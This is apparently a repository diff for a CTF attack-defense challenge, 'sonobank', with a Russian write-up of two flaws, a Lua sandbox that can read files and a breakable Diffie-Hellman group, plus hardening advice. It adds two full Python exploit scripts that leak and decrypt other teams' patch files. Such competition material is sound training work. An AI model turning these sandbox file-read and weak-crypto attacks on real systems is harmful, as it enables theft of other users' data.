Выгружает содержимое чужого патча `data/<victim_patch_id>.pb`, расшифровывает его и печатает исходный Lua (в нём хранится флаг).
|
||||
```
|
||||
python3 sploits/sonobank/lua_poc.py <host> <victim_patch_id> [port=5004]
|
||||
```
|
||||
Скрипт:
|
||||
1) Делает `Put` с Lua, который читает `data/<victim>.pb` и бросает его в ошибке как hex.
|
||||
2) Делает `RenderHash` на своём патче, получает `Error`, парсит TLV, выводит расшифрованный Lua жертвы.
|
||||
|
||||
### Харденинг
|
||||
- Создавать Lua с отключёнными I/O: `Lua::new_with(mlua::StdLib::BASE | ... )` без `IO`/`OS`, или `set_sandboxed(true)`.
|
||||
- Явно очищать/затирать глобальные таблицы (`io`, `os`, `package`).
|
||||
- Не выдавать текст ошибки пользователю — логировать на сервере, клиенту слать общий код.
|
||||
|
||||
## Уязвимость 2: Крипто на слабой группе, dlog решается
|
||||
- Кольцо — GF(2)[x]/P(x), которое притворяется GF(p).
|
||||
- Полином P(x) раскладывается как Q(x)^5, поэтому порядок мультипликативной группы (2^210 - 1) умножить на небольшое число.
|
||||
- В этом случае порядок группы равен (2^210 - 1) * 8, Этот порядок гладкий и позволяет алгоритмом Полига-Хеллмана посчитать длог. Для ускорения сначала считаем по модулю Q(x).
|
||||
|
||||
### Эксплуатация (PoC `crypto_sploit.py`)
|
||||
Запуск под `sage -python` (используется `sage.all`):
|
||||
```
|
||||
sage -python sploits/sonobank/crypto_sploit.py
|
||||
```
|
||||
Скрипт:
|
||||
1) Берёт `GetCryptoParams`, затем `Get` по `flag_id` (`patch_id`).
|
||||
2) Факторизует модуль, решает дискретный логарифм, восстанавливает общий ключ и расшифровывает AES‑CBC.
|
||||
3) Печатает Lua с флагом.
|
||||
|
||||
### Харденинг
|
||||
- Заменить модуль на неприводимый с удачной степенью, например, 127 (2^127 - 1 является простым числом Мерсенна). Тогда группа будет вполне подходящей.
|
||||
|
||||
## Полезные файлы
|
||||
- `sploits/sonobank/lua_poc.py` — утечка через Lua.
|
||||
- `sploits/sonobank/crypto_sploit.py` — взлом DLog.
|
||||
- `services/sonobank/crates/lua-sandbox/src/lib.rs` — источник Lua уязвимости.
|
||||
- `services/sonobank/crates/crypto/src/encryption.rs` — уязвимый DH.
|
||||
82
ctfcup2025-school-final/sploits/sonobank/crypto_sploit.py
Normal file
82
ctfcup2025-school-final/sploits/sonobank/crypto_sploit.py
Normal file
@@ -0,0 +1,82 @@
|
||||
from sage.all import *
|
||||
from socket import socket, AF_INET, SOCK_DGRAM
|
||||
import uuid
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import unpad
|
||||
import hashlib
|
||||
|
||||
IP = "127.0.0.1"
|
||||
flag_id = "b0e29b3a-f560-449c-ad59-1b760c4aab47"
|
||||
|
||||
PR = PolynomialRing(GF(2), "x")
|
||||
|
||||
def bits(n):
|
||||
return [int(c) for c in bin(n)[2:]][::-1]
|
||||
|
||||
def unbits(bs):
|
||||
return sum(int(x) << i for i, x in enumerate(list(bs)))
|
||||
|
||||
get_crypto_params_payload = bytes((
|
||||
0xF0,
|
||||
0x7D,
|
||||
0x53,
|
||||
0x58,
|
||||
0x05,
|
||||
0xF7
|
||||
))
|
||||
|
||||
sock = socket(AF_INET, SOCK_DGRAM)
|
||||
sock.bind(("0.0.0.0", 0))
|
||||
sock.connect((IP, 5004))
|
||||
|
||||
sock.sendall(get_crypto_params_payload)
|
||||
msg = sock.recv(1024)
|
||||
|
||||
modulus = PR(bits(int.from_bytes(msg[5:5 + 64], "big")))
|
||||
base = PR(bits(int.from_bytes(msg[5 + 64:5 + 64 + 64], "big")))
|
||||
|
||||
|
||||
get_crypto_params_payload = bytes((
|
||||
0xF0,
|
||||
0x7D,
|
||||
0x53,
|
||||
0x58,
|
||||
0x03,
|
||||
*uuid.UUID(flag_id).bytes,
|
||||
0xF7
|
||||
))
|
||||
|
||||
sock.sendall(get_crypto_params_payload)
|
||||
msg = sock.recv(1024)
|
||||
h = PR(bits(int.from_bytes(msg[5:5 + 64], "big")))
|
||||
c1 = PR(bits(int.from_bytes(msg[5 + 64:5 + 64*2], "big")))
|
||||
iv = msg[5 + 64*2:5 + 64*2 + 16]
|
||||
ct = msg[5 + 64*2 + 16:-1]
|
||||
|
||||
fact = factor(modulus)
|
||||
assert len(fact) == 1
|
||||
assert fact[0][1] == 5
|
||||
D = fact[0][0].degree()
|
||||
|
||||
# part modulo p
|
||||
R = GF(2 ** D, 'a', modulus=fact[0][0])
|
||||
print(R)
|
||||
r = R(c1).log(base)
|
||||
|
||||
# remaining part
|
||||
R = PR.quotient(modulus)
|
||||
newbase = R(base) ** (2 ** D - 1)
|
||||
newres = R(c1) ** (2 ** D - 1)
|
||||
for x in range(1, 8):
|
||||
if newbase ** x == newres:
|
||||
break
|
||||
else:
|
||||
print("failed to find part")
|
||||
r = crt([r, x], [2 ** D - 1, 8])
|
||||
assert R(base) ** r == R(c1)
|
||||
|
||||
shared_key = int(unbits(list(R(h) ** r))).to_bytes(64, "big")
|
||||
key = hashlib.sha256(shared_key).digest()[:16]
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
pt = unpad(cipher.decrypt(ct), 16)
|
||||
print(pt)
|
||||
165
ctfcup2025-school-final/sploits/sonobank/lua_poc.py
Normal file
165
ctfcup2025-school-final/sploits/sonobank/lua_poc.py
Normal file
@@ -0,0 +1,165 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
PoC: abuse the Lua "sandbox" to read arbitrary files (here: victim patch files)
|
||||
and recover the plaintext Lua that embeds the flag.
|
||||
|
||||
Usage: python3 lua_poc.py <host> <victim_patch_id> [port]
|
||||
"""
|
||||
import hashlib
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import uuid
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import unpad
|
||||
|
||||
|
||||
MANUFACTURER = b"\x7D\x53\x58"
|
||||
OP_PUT = 0x02
|
||||
OP_RENDER_HASH = 0x04
|
||||
OP_PUT_RESP = 0x07
|
||||
OP_ERROR = 0x0B
|
||||
|
||||
# Same modulus as DEFAULT_CRYPTO_PARAMS in the service.
|
||||
MODULUS = int(
|
||||
"00000000000000000000001010400401040050501011140450454504004145540054510014551150445504010145150511100005011015500410014404111555",
|
||||
16,
|
||||
)
|
||||
MOD_BITS = MODULUS.bit_length()
|
||||
|
||||
|
||||
def frame(op: int, payload: bytes = b"") -> bytes:
|
||||
return b"\xF0" + MANUFACTURER + bytes([op]) + payload + b"\xF7"
|
||||
|
||||
|
||||
def recv_frame(sock: socket.socket) -> bytes:
|
||||
data = sock.recv(4096)
|
||||
if len(data) < 6 or data[0] != 0xF0 or data[-1] != 0xF7:
|
||||
raise RuntimeError(f"Bad frame: {data!r}")
|
||||
return data
|
||||
|
||||
|
||||
def build_lua(victim_patch: str) -> bytes:
|
||||
# Reads the raw patch file and dumps it as hex in an error message.
|
||||
return f"""
|
||||
local victim = "{victim_patch}"
|
||||
local path = "data/" .. victim .. ".pb"
|
||||
|
||||
function tohex(s)
|
||||
return (s:gsub(".", function(c) return string.format("%02x", string.byte(c)) end))
|
||||
end
|
||||
|
||||
function sample(t, note, velocity)
|
||||
local f = io.open(path, "rb")
|
||||
if not f then
|
||||
error("no_file")
|
||||
end
|
||||
local blob = f:read("*a")
|
||||
f:close()
|
||||
error(tohex(blob))
|
||||
end
|
||||
""".encode()
|
||||
|
||||
|
||||
def parse_hex_from_error(msg: str) -> bytes:
|
||||
m = re.search(r"[0-9a-f]{200,}", msg) # look for a long hex blob
|
||||
if not m:
|
||||
raise RuntimeError(f"No hex payload in error: {msg}")
|
||||
return bytes.fromhex(m.group(0))
|
||||
|
||||
|
||||
def parse_tlv(blob: bytes):
|
||||
i = 0
|
||||
out = {}
|
||||
while i < len(blob):
|
||||
tag = blob[i]
|
||||
i += 1
|
||||
if tag == 0xFF:
|
||||
break
|
||||
length = int.from_bytes(blob[i : i + 2], "big")
|
||||
i += 2
|
||||
out[tag] = blob[i : i + length]
|
||||
i += length
|
||||
return out
|
||||
|
||||
|
||||
def reduce(x: int) -> int:
|
||||
while x.bit_length() >= MOD_BITS:
|
||||
x ^= MODULUS << (x.bit_length() - MOD_BITS)
|
||||
return x
|
||||
|
||||
|
||||
def mul(a: int, b: int) -> int:
|
||||
prod = 0
|
||||
shift = 0
|
||||
bb = b
|
||||
while bb:
|
||||
if bb & 1:
|
||||
prod ^= a << shift
|
||||
bb >>= 1
|
||||
shift += 1
|
||||
return reduce(prod)
|
||||
|
||||
|
||||
def pow_ring(base: int, exp: int) -> int:
|
||||
base = reduce(base)
|
||||
result = 1
|
||||
ee = exp
|
||||
while ee:
|
||||
if ee & 1:
|
||||
result = mul(result, base)
|
||||
base = mul(base, base)
|
||||
ee >>= 1
|
||||
return result
|
||||
|
||||
|
||||
def decrypt_patch(tlv):
|
||||
k = int.from_bytes(tlv[0x01], "big")
|
||||
c1 = int.from_bytes(tlv[0x02], "big")
|
||||
ct = tlv[0x03]
|
||||
iv = tlv[0x04]
|
||||
|
||||
s = pow_ring(c1, k)
|
||||
s_bytes = s.to_bytes(64, "big")
|
||||
key = hashlib.sha256(s_bytes).digest()[:16]
|
||||
pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
|
||||
return pt.decode(errors="replace")
|
||||
|
||||
|
||||
def exploit(host: str, victim_patch: str, port: int) -> None:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(5.0)
|
||||
sock.connect((host, port))
|
||||
|
||||
# 1) Upload malicious Lua that leaks the victim patch file.
|
||||
lua_payload = build_lua(victim_patch)
|
||||
sock.sendall(frame(OP_PUT, lua_payload))
|
||||
put_resp = recv_frame(sock)
|
||||
if put_resp[4] != OP_PUT_RESP:
|
||||
raise RuntimeError(f"Unexpected PUT response opcode {put_resp[4]:#x}: {put_resp!r}")
|
||||
attacker_patch = uuid.UUID(bytes=put_resp[5:21])
|
||||
print(f"[+] Uploaded attacker patch {attacker_patch}")
|
||||
|
||||
# 2) Trigger execution; sample() will error with hex blob of the patch file.
|
||||
payload = attacker_patch.bytes + struct.pack(">II", 0, 0)
|
||||
sock.sendall(frame(OP_RENDER_HASH, payload))
|
||||
render_resp = recv_frame(sock)
|
||||
if render_resp[4] != OP_ERROR:
|
||||
raise RuntimeError(f"Expected error frame, got {render_resp!r}")
|
||||
error_msg = render_resp[5:-1].decode(errors="replace")
|
||||
blob = parse_hex_from_error(error_msg)
|
||||
tlv = parse_tlv(blob)
|
||||
lua_src = decrypt_patch(tlv)
|
||||
print("[+] Decrypted victim Lua:")
|
||||
print(lua_src)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 3:
|
||||
print(f"Usage: {sys.argv[0]} <host> <victim_patch_id> [port]")
|
||||
sys.exit(1)
|
||||
target_host = sys.argv[1]
|
||||
victim_patch = sys.argv[2]
|
||||
target_port = int(sys.argv[3]) if len(sys.argv) > 3 else 5004
|
||||
exploit(target_host, victim_patch, target_port)
|
||||
Reference in New Issue
Block a user